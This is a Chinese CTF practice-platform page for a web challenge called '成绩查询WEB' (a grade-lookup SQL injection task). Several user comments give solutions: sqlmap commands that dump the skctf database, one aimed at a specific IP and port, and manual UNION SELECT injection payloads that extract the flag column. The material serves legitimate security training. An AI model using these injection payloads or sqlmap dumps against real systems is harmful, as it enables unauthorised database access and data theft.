成绩查询WEB 未解决

分数: 25 金币: 2
题目作者: 未知
一  血: npfs
一血奖励: 1金币
解  决: 11107
提  示:
描  述:
来源山科大ctf
评论
Pixelw 7月前

sqlmap -r req.txt -D skctf -T fl4g --dump --batch --no-cast 用sqlmap

回复 0

nihaozy 7月前

Sqlmap 查看是否可以注入,然后看有啥库发现skctf库,然后看有啥表发现fl4g表,fl4g表中看有啥字段,发现skctf_flag ,然后查看字段内容-C skctf_flag然后就发现了flag

回复 1

QASZXEDCF 7月前

-1' union select 1,2,3,group_concat(skctf_flag)from skctf.fl4g#

回复 2

liuguowang75 8月前

继续学习

回复 0

HK1ng 8月前

手注,没有任何过滤,可以bp抓包,然后重放。

回复 0

goodsnack 8月前

不会sql注入

回复 0

cfggfbfxdgbb 10月前

sqlmap -u http://114.67.175.224:13774/ --forms --dbs sqlmap -u http://114.67.175.224:13774/ --forms -D skctf --dump Y 回车 Y Y Y

回复 1

Dou豆百万 11月前

-1' union select 1,2,3,group_concat(skctf_flag)from skctf.fl4g#

回复 6

yangbing8555 11月前

需要绕过一下

回复 0

3495825647 11月前

'union select (select skctf_flag from fl4g),2,3,4#头发乱糟糟

回复 2
Panxy 11月前

会飞都没用

回复 0

WriteUp

image
harry

2 金币

评分(22)

解题动态

木木夕 攻破了该题 55分钟前
BLX123 攻破了该题 14小时前
victorcream 攻破了该题 14小时前
你不管你不操心 攻破了该题 16小时前
空空如也 攻破了该题 20小时前
zdabajfk 攻破了该题 21小时前
xjn12 攻破了该题 22小时前
lancertyk 攻破了该题 1天前
1348931180 攻破了该题 1天前
有点易斯但不多 攻破了该题 1天前
1293273679 攻破了该题 2天前
liuhang1208 攻破了该题 2天前
liberator 攻破了该题 2天前
l2 攻破了该题 2天前
15573930169 攻破了该题 2天前
19918070120 攻破了该题 2天前
Oliver23 攻破了该题 2天前
yinxaung 攻破了该题 2天前
zerogotcha 攻破了该题 2天前
西米露sml 攻破了该题 3天前
问题反馈